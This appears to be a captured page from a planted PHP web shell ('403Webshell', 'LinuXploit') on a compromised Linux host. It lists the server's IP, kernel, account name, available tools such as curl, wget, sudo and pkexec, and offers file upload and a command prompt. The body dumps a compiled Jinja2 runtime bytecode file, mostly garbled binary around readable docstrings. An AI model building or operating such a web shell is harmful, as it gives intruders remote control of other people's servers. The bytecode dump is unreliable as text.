- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.144.235.195
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/jinja2/__pycache__/runtime.cpython-36.pyc
3

sݨ\kl�@sdZddlZddlmZddlmZddlmZmZddl	m
Z
mZmZm
Z
mZmZmZmZmZddlmZmZmZddlmZmZmZmZmZmZmZmZd	d
ddd
dddddddddgZ eZ!dd�Z"e#�Z$e#�Z%dd�Z&dd�Z'd7dd�Z(Gdd
�d
e#�Z)dd�Z*Gd d!�d!e+�Z,e
fd"d#�Z-Gd$d%�d%ee,��Z.ydd&l/m0Z0e0j1e.�Wne2k
�rfYnXGd'd(�d(e#�Z3Gd)d*�d*e#�Z4Gd+d	�d	e4�Z5eGd,d-�d-e#��Z6Gd.d�de#�Z7eGd/d0�d0e#��Z8d8d1d2�Z9eGd3d4�d4e8��Z:eGd5d6�d6e8��Z;e8`<e:`<e;`<dS)9z}
    jinja2.runtime
    ~~~~~~~~~~~~~~

    Runtime helpers.

    :copyright: (c) 2017 by the Jinja Team.
    :license: BSD.
�N)�chain)�
MethodType)�EvalContext�_context_function_types)	�Markup�soft_unicode�escape�missing�concat�internalcode�object_type_repr�evalcontextfunction�	Namespace)�UndefinedError�TemplateRuntimeError�TemplateNotFound)�imap�	text_type�	iteritems�implements_iterator�implements_to_string�string_types�PY2�with_metaclass�LoopContext�TemplateReference�Macrorrr	r
r�markup_join�unicode_join�	to_string�identityrrcCs|S)N�)�xr!r!�/usr/lib/python3.6/runtime.py�<lambda>%sr$cCsLg}tt|�}x4|D],}|j|�t|d�rtd�jt||��SqWt|�S)z@Concatenation that escapes if necessary and converts to unicode.Z__html__�)rr�append�hasattrr�joinrr
)�seqZbuf�iterator�argr!r!r#r+s



cCsttt|��S)z4Simple args to unicode conversion and concatenation.)r
rr)r)r!r!r#r6sc
Csl|dkri}|r|}nt|pff|�}|r\|r6t|�}x$t|�D]\}}	|	tk	r@|	||<q@W|j||||�S)z(Internal helper to for context creation.N)�dictrr	Z
context_class)
�environmentZ
template_name�blocks�varsZshared�globals�locals�parent�key�valuer!r!r#�new_context;s
r5c@s(eZdZdZdd�Zdd�Zdd�ZdS)	rzThe `self` in templates.cCs
||_dS)N)�_TemplateReference__context)�self�contextr!r!r#�__init__SszTemplateReference.__init__cCs|jj|}t||j|d�S)Nr)r6r.�BlockReference)r7�namer.r!r!r#�__getitem__VszTemplateReference.__getitem__cCsd|jj|jjfS)Nz<%s %r>)�	__class__�__name__r6r;)r7r!r!r#�__repr__ZszTemplateReference.__repr__N)r>�
__module__�__qualname__�__doc__r9r<r?r!r!r!r#rPscCst|d|�S)N�__func__)�getattr)r"r!r!r#�	_get_funcasrEc@seZdZdd�ZdS)�ContextMetac	Csvtj||||�}|fkr|St|j�}ttj�}t|j�}ttj�}||k	r\||kr\d|_n||krr||krrd|_|S)NT)�type�__new__rE�resolve�Context�resolve_or_missing�_legacy_resolve_mode�_fast_resolve_mode)	�clsr;�bases�d�rvrIZdefault_resolverKZdefault_resolve_or_missingr!r!r#rHgs



zContextMeta.__new__N)r>r@rArHr!r!r!r#rFesrFcCs,||jkr|j|S||jkr(|j|S|S)N)r/r2)r8r3r	r!r!r#rK}s




rKc@s�eZdZdZdZdZdd�Zdd�Zd$dd	�Zd
d�Z	dd
�Z
dd�Zdd�Ze
dd��Zd%dd�Zdd�Zed�Zed�Zed�Zer�ed�Zed�Zed�Z[dd�Zd d!�Zd"d#�ZdS)&rJa�The template context holds the variables of a template.  It stores the
    values passed to the template and also the names the template exports.
    Creating instances is neither supported nor useful as it's created
    automatically at various stages of the template evaluation and should not
    be created by hand.

    The context is immutable.  Modifications on :attr:`parent` **must not**
    happen and modifications on :attr:`vars` are allowed from generated
    template code only.  Template filters and global functions marked as
    :func:`contextfunction`\s get the active context passed as first argument
    and are allowed to access the context read-only.

    The template context supports read only dict operations (`get`,
    `keys`, `values`, `items`, `iterkeys`, `itervalues`, `iteritems`,
    `__getitem__`, `__contains__`).  Additionally there is a :meth:`resolve`
    method that doesn't fail with a `KeyError` but returns an
    :class:`Undefined` object for missing variables.
    FcCs\||_i|_||_t|j|�|_t�|_||_tdd�t	|�D��|_
|jrXtt
|�|_
dS)Ncss|]\}}||gfVqdS)Nr!)�.0�k�vr!r!r#�	<genexpr>�sz#Context.__init__.<locals>.<genexpr>)r2r/r-r�eval_ctx�set�
exported_varsr;r,rr.rMrrK)r7r-r2r;r.r!r!r#r9�szContext.__init__c
CsXy$|j|}|j|�d}||Wn$tk
rH|jjd|dd�SXt||||�S)zRender a parent block.�z#there is no parent block called %r.�super)r;)r.�index�LookupErrorr-�	undefinedr:)r7r;Zcurrentr.r[r!r!r#rZ�s

z
Context.superNcCs"y||Stk
r|SXdS)zfReturns an item from the template context, if it doesn't exist
        `default` is returned.
        N)�KeyError)r7r3�defaultr!r!r#�get�szContext.getcCs6|jrt||�}n
|j|�}|tkr2|jj|d�S|S)z�Looks up a variable like `__getitem__` or `get` but returns an
        :class:`Undefined` object with the name of the name looked up.
        )r;)rLrKr	r-r])r7r3rQr!r!r#rI�s
zContext.resolvecCs,|jr"|j|�}t|t�rt}|St||�S)zxResolves a variable like :meth:`resolve` but returns the
        special `missing` value if it cannot be found.
        )rLrI�
isinstance�	Undefinedr	rK)r7r3rQr!r!r#rK�s

zContext.resolve_or_missingcst�fdd��jD��S)z+Get a new dict with the exported variables.c3s|]}|�j|fVqdS)N)r/)rRrS)r7r!r#rU�sz'Context.get_exported.<locals>.<genexpr>)r,rX)r7r!)r7r#�get_exported�szContext.get_exportedcCs(|js|jS|js|jSt|jf|j�S)z�Return the complete context as dict including the exported
        variables.  For optimizations reasons this might not return an
        actual copy so be careful with using it.
        )r/r2r,)r7r!r!r#�get_all�s
zContext.get_allcOs�d}t|d�r2|j}xd	D]}t||�r|}PqWt|t�r�t|dd�rT|f|}n2t|dd�rn|jf|}nt|dd�r�|jf|}y
|||�Stk
r�|jjd�SXdS)
z�Call the callable with the arguments and keyword arguments
        provided but inject the active context or environment as first
        argument if the callable is a :func:`contextfunction` or
        :func:`environmentfunction`.
        T�__call__�contextfunctionr
�environmentfunctionrzGvalue was undefined because a callable raised a StopIteration exceptionN)rfr
rg)	r'rerarrDrVr-�
StopIterationr])Z_Context__selfZ
_Context__obj�args�kwargsZ__traceback_hide__�fnZfn_typer!r!r#�call�s(



zContext.callcCsDt|j|ji|j�dd|�}|j|_|jjdd�t|j�D��|S)z�Internal helper function to create a derived context.  This is
        used in situations where the system needs a new context in the same
        template that is independent.
        TNcss|]\}}|t|�fVqdS)N)�list)rRrSrTr!r!r#rUsz"Context.derived.<locals>.<genexpr>)r5r-r;rdrVr.�updater)r7r1r8r!r!r#�deriveds
zContext.derivedcs$�fdd�}tt��j|_�|_|S)Ncst|j����S)N)rDrd)r7)�methr!r#r$szContext._all.<locals>.<lambda>)rDr,rBr>)rp�proxyr!)rpr#�_allszContext._all�keys�values�items�iterkeys�
itervaluesrcCs||jkp||jkS)N)r/r2)r7r;r!r!r#�__contains__(szContext.__contains__cCs|j|�}|tkrt|��|S)zTLookup a variable or raise `KeyError` if the variable is
        undefined.
        )rKr	r^)r7r3�itemr!r!r#r<+s
zContext.__getitem__cCsd|jjt|j��|jfS)Nz
<%s %s of %r>)r=r>�reprrdr;)r7r!r!r#r?4s
zContext.__repr__)N)N)r>r@rArBrLrMr9rZr`rIrKrcrdrrlrorrrsrtrurrvrwrrxr<r?r!r!r!r#rJ�s0
	"
	rJ)�Mappingc@s0eZdZdZdd�Zedd��Zedd��ZdS)	r:z"One block on a template reference.cCs||_||_||_||_dS)N)r;�_context�_stack�_depth)r7r;r8�stack�depthr!r!r#r9GszBlockReference.__init__cCsF|jdt|j�kr,|jjjd|jdd�St|j|j|j|jd�S)zSuper the block.rYz#there is no parent block called %r.rZ)r;)r~�lenr}r|r-r]r;r:)r7r!r!r#rZMszBlockReference.supercCs,t|j|j|j��}|jjjr(t|�}|S)N)r
r}r~r|rV�
autoescaper)r7rQr!r!r#reWs
zBlockReference.__call__N)	r>r@rArBr9�propertyrZrrer!r!r!r#r:Ds
r:c@s�eZdZdZeZeZeZdZ	ddd�Z
dd�Zdd	�Ze
d
d��Ze
dd��Ze
d
d��Ze
dd��Ze
dd��Ze
dd��Ze
dd��Ze
dd��Zdd�Zedd��ZeZ[dd�ZdS)�LoopContextBasez%A loop context for dynamic iteration.NrcCs"||_||_d|_||_t|_dS)NrY���)�
_undefined�_recurse�index0�depth0r	�_last_checked_value)r7r]�recurser�r!r!r#r9gs
zLoopContextBase.__init__cGs|std��||jt|�S)z7Cycles among the arguments with the current loop index.zno items for cycling given)�	TypeErrorr�r�)r7rir!r!r#�cyclenszLoopContextBase.cyclecGs|j|kr||_dSdS)z9Checks whether the value has changed since the last call.TF)r�)r7r4r!r!r#�changedts
zLoopContextBase.changedcCs
|jdkS)Nr)r�)r"r!r!r#r${szLoopContextBase.<lambda>cCs
|jtkS)N)�_after�_last_iteration)r"r!r!r#r$|scCs
|jdS)NrY)r�)r"r!r!r#r$}scCs|j|jS)N)�lengthr�)r"r!r!r#r$~scCs|j|jS)N)r�r[)r"r!r!r#r$scCs
|jdS)NrY)r�)r"r!r!r#r$�scCs|jtkr|jd�S|jS)Nzthere is no previous item)�_before�_first_iterationr�)r7r!r!r#�previtem�s

zLoopContextBase.previtemcCs|jtkr|jd�S|jS)Nzthere is no next item)r�r�r�)r7r!r!r#�nextitem�s

zLoopContextBase.nextitemcCs|jS)N)r�)r7r!r!r#�__len__�szLoopContextBase.__len__cCs(|jdkrtd��|j||j|jd�S)NzMTried to call non recursive loop.  Maybe you forgot the 'recursive' modifier.rY)r�r�r�)r7�iterabler!r!r#�loop�s
zLoopContextBase.loopcCsd|jj|j|jfS)Nz
<%s %r/%r>)r=r>r[r�)r7r!r!r#r?�szLoopContextBase.__repr__)Nr)r>r@rArBr�r��_currentr�r��_lengthr9r�r�r��firstZlastr[ZrevindexZ	revindex0r�r�r�r�rr�rer?r!r!r!r#r�_s*
	r�c@s2eZdZddd�Zedd��Zdd�Zd	d
�ZdS)rNrcCsVtj||||�t|�|_yt|�|_Wnttfk
rFd|_YnX|j�|_	dS)N)
r�r9�iter�	_iteratorr�r�r��AttributeError�
_safe_nextr�)r7r�r]r�r�r!r!r#r9�s
zLoopContext.__init__cCs<|jdkr6t|j�}t|�|_|jd}t|�||_|jS)N�)r��tupler�r�r�r�)r7r�Ziterations_doner!r!r#r��s



zLoopContext.lengthcCst|�S)N)�LoopContextIterator)r7r!r!r#�__iter__�szLoopContext.__iter__cCs$y
t|j�Stk
rtSXdS)N)�nextr�rhr�)r7r!r!r#r��s
zLoopContext._safe_next)Nr)r>r@rAr9r�r�r�r�r!r!r!r#r�s

c@s,eZdZdZd
Zdd�Zdd�Zdd�Zd	S)r�z The iterator for a loop context.r8cCs
||_dS)N)r8)r7r8r!r!r#r9�szLoopContextIterator.__init__cCs|S)Nr!)r7r!r!r#r��szLoopContextIterator.__iter__cCsH|j}|jd7_|jtkr$t��|j|_|j|_|j�|_|j|fS)NrY)r8r�r�r�rhr�r�r�)r7Zctxr!r!r#�__next__�s

zLoopContextIterator.__next__N)r8)r>r@rArB�	__slots__r9r�r�r!r!r!r#r��s
r�c@s:eZdZdZddd�Zeedd���Zdd�Zd	d
�Z	dS)rzWraps a macro function.Nc		CsV||_||_t|�|_||_||_||_||_||_d|k|_	|dkrL|j
}||_dS)N�caller)�_environment�_funcr��_argument_countr;�	arguments�catch_kwargs�
catch_varargsr��explicit_callerr��_default_autoescape)	r7r-�funcr;r�r�r�r�Zdefault_autoescaper!r!r#r9�s

zMacro.__init__cOs�|r*t|dt�r*|dj}|dd�}n|j}t|d|j��}t|�}d}||jkr�xht|jt|�d��D]F\}}y|j	|�}	Wnt
k
r�t}	YnX|dkr�d}|j|	�qpWn|j
}|jr�|r�|j	dd�}
|
dkr�|jjddd�}
|j|
�|j�r|j|�n8|�rHd|k�r.td|j��td	|jtt|��f��|j�rf|j||jd��n(t|�|jk�r�td
|jt|j�f��|j||�S)NrrYFr�TzNo caller defined)r;zamacro %r was invoked with two values for the special caller argument.  This is most likely a bug.z%macro %r takes no keyword argument %rz+macro %r takes not more than %d argument(s))rarr�r�rmr�r��	enumerater��popr^r	r&r�r�r�r]r�r�r;r�r�r��_invoke)r7rirjr�r�ZoffZfound_caller�idxr;r4r�r!r!r#re�sJ

 



zMacro.__call__cCs|j|�}|rt|�}|S)z=This method is being swapped out by the async implementation.)r�r)r7r�r�rQr!r!r#r�As
z
Macro._invokecCs$d|jj|jdkrdpt|j�fS)Nz<%s %s>Z	anonymous)r=r>r;rz)r7r!r!r#r?HszMacro.__repr__)N)
r>r@rArBr9rr
rer�r?r!r!r!r#r�s
Kc@s�eZdZdZdZdedefdd�Zed	d
��Z	edd��Z
e	ZZZ
ZZZZZZZZZZZZZZZZZZZ Z!Z"Z#Z$Z%d
d�Z&dd�Z'dd�Z(dd�Z)dd�Z*dd�Z+dd�Z,e,Z-dd�Z.dS)rbazThe default undefined type.  This undefined type can be printed and
    iterated over, but every other access will raise an :exc:`jinja2.exceptions.UndefinedError`:

    >>> foo = Undefined(name='foo')
    >>> str(foo)
    ''
    >>> not foo
    True
    >>> foo + 42
    Traceback (most recent call last):
      ...
    jinja2.exceptions.UndefinedError: 'foo' is undefined
    �_undefined_hint�_undefined_obj�_undefined_name�_undefined_exceptionNcCs||_||_||_||_dS)N)r�r�r�r�)r7�hint�objr;�excr!r!r#r9aszUndefined.__init__cOsl|jdkrX|jtkr d|j}q^t|jt�sBdt|j�|jf}q^dt|j�|jf}n|j}|j|��dS)z{Regular callback function for undefined objects that raises an
        `jinja2.exceptions.UndefinedError` on call.
        Nz%r is undefinedz%s has no element %rz%r has no attribute %r)r�r�r	r�rarrr�)r7rirjr�r!r!r#�_fail_with_undefined_errorgs

z$Undefined._fail_with_undefined_errorcCs |dd�dkrt|��|j�S)Nr��__)r�r�)r7r;r!r!r#�__getattr__}szUndefined.__getattr__cCst|�t|�kS)N)rG)r7�otherr!r!r#�__eq__�szUndefined.__eq__cCs|j|�S)N)r�)r7r�r!r!r#�__ne__�szUndefined.__ne__cCstt|��S)N)�idrG)r7r!r!r#�__hash__�szUndefined.__hash__cCsdS)Nr%r!)r7r!r!r#�__str__�szUndefined.__str__cCsdS)Nrr!)r7r!r!r#r��szUndefined.__len__ccsdS)Nr!)r7r!r!r#r��szUndefined.__iter__cCsdS)NFr!)r7r!r!r#�__nonzero__�szUndefined.__nonzero__cCsdS)Nrbr!)r7r!r!r#r?�szUndefined.__repr__)r�r�r�r�)/r>r@rArBr�r	rr9rr�r��__add__�__radd__�__mul__�__rmul__Z__div__Z__rdiv__�__truediv__�__rtruediv__�__floordiv__�
__rfloordiv__�__mod__�__rmod__�__pos__�__neg__rer<�__lt__�__le__�__gt__�__ge__�__int__�	__float__�__complex__�__pow__�__rpow__�__sub__�__rsub__r�r�r�r�r�r�r��__bool__r?r!r!r!r#rbOs lrbcs`�dkr,ddl}|jt���j|jtj���dkr8t��fdd��G���fdd�d��}|S)akGiven a logger object this returns a new undefined class that will
    log certain failures.  It will log iterations and printing.  If no
    logger is given a default logger is created.

    Example::

        logger = logging.getLogger(__name__)
        LoggingUndefined = make_logging_undefined(
            logger=logger,
            base=Undefined
        )

    .. versionadded:: 2.8

    :param logger: the logger to use.  If not provided, a default logger
                   is created.
    :param base: the base class to add logging functionality to.  This
                 defaults to :class:`Undefined`.
    Nrcsn|jdkrX|jtkr d|j}q^t|jt�sBdt|j�|jf}q^dt|j�|jf}n|j}�jd|�dS)Nz%s is undefinedz%s has no element %sz%s has no attribute %szTemplate variable warning: %s)r�r�r	r�rarrZwarning)Zundefr�)�loggerr!r#�_log_message�s

z,make_logging_undefined.<locals>._log_messagecsfeZdZ��fdd�Z��fdd�Z��fdd�ZerT��fdd�Z��fd	d
�Zn��fdd�Z	d
S)z0make_logging_undefined.<locals>.LoggingUndefinedcsPy�j|f|�|�S|jk
rJ}z�jdt|��|�WYdd}~XnXdS)NzTemplate variable error: %s)r�r��error�str)r7rirj�e)�baser�r!r#r��s
zKmake_logging_undefined.<locals>.LoggingUndefined._fail_with_undefined_errorcs�j|�}�|�|S)N)r�)r7rQ)r�r�r!r#r��s
z8make_logging_undefined.<locals>.LoggingUndefined.__str__cs�j|�}�|�|S)N)r�)r7rQ)r�r�r!r#r��s
z9make_logging_undefined.<locals>.LoggingUndefined.__iter__cs�j|�}�|�|S)N)r�)r7rQ)r�r�r!r#r��s
z<make_logging_undefined.<locals>.LoggingUndefined.__nonzero__cs�j|�}�|�|S)N)�__unicode__)r7rQ)r�r�r!r#r��s
z<make_logging_undefined.<locals>.LoggingUndefined.__unicode__cs�j|�}�|�|S)N)r�)r7rQ)r�r�r!r#r��s
z9make_logging_undefined.<locals>.LoggingUndefined.__bool__N)
r>r@rAr�r�r�rr�r�r�r!)r�r�r�r!r#�LoggingUndefined�sr�)�loggingZ	getLoggerr>Z
addHandlerZ
StreamHandler�sys�stderrrb)r�r�r�r�r!)r�r�r�r#�make_logging_undefined�s
#r�c@seZdZdZfZdd�ZdS)�DebugUndefinedaAn undefined that returns the debug info when printed.

    >>> foo = DebugUndefined(name='foo')
    >>> str(foo)
    '{{ foo }}'
    >>> not foo
    True
    >>> foo + 42
    Traceback (most recent call last):
      ...
    jinja2.exceptions.UndefinedError: 'foo' is undefined
    cCs<|jdkr2|jtkrd|jSdt|j�|jfSd|jS)Nz{{ %s }}z{{ no such element: %s[%r] }}z!{{ undefined value printed: %s }})r�r�r	r�r)r7r!r!r#r�s



zDebugUndefined.__str__N)r>r@rArBr�r�r!r!r!r#r��s
r�c@s6eZdZdZfZejZZZ	Z
ZZZ
ZdS)�StrictUndefinedasAn undefined that barks on print and iteration as well as boolean
    tests and all kinds of comparisons.  In other words: you can do nothing
    with it except checking if it's defined using the `defined` test.

    >>> foo = StrictUndefined(name='foo')
    >>> str(foo)
    Traceback (most recent call last):
      ...
    jinja2.exceptions.UndefinedError: 'foo' is undefined
    >>> not foo
    Traceback (most recent call last):
      ...
    jinja2.exceptions.UndefinedError: 'foo' is undefined
    >>> foo + 42
    Traceback (most recent call last):
      ...
    jinja2.exceptions.UndefinedError: 'foo' is undefined
    N)r>r@rArBr�rbr�r�r�r�r�r�r�r�r�r!r!r!r#r�sr�)NNNN)NN)=rBr��	itertoolsr�typesrZjinja2.nodesrrZjinja2.utilsrrrr	r
rrr
rZjinja2.exceptionsrrrZjinja2._compatrrrrrrrr�__all__rr �objectr�r�rrr5rrErGrFrKrJ�collectionsr{�register�ImportErrorr:r�rr�rrbr�r�r�r�r!r!r!r#�<module>
sX,(
9F'mU
Q

Youez - 2016 - github.com/yon3zu
LinuXploit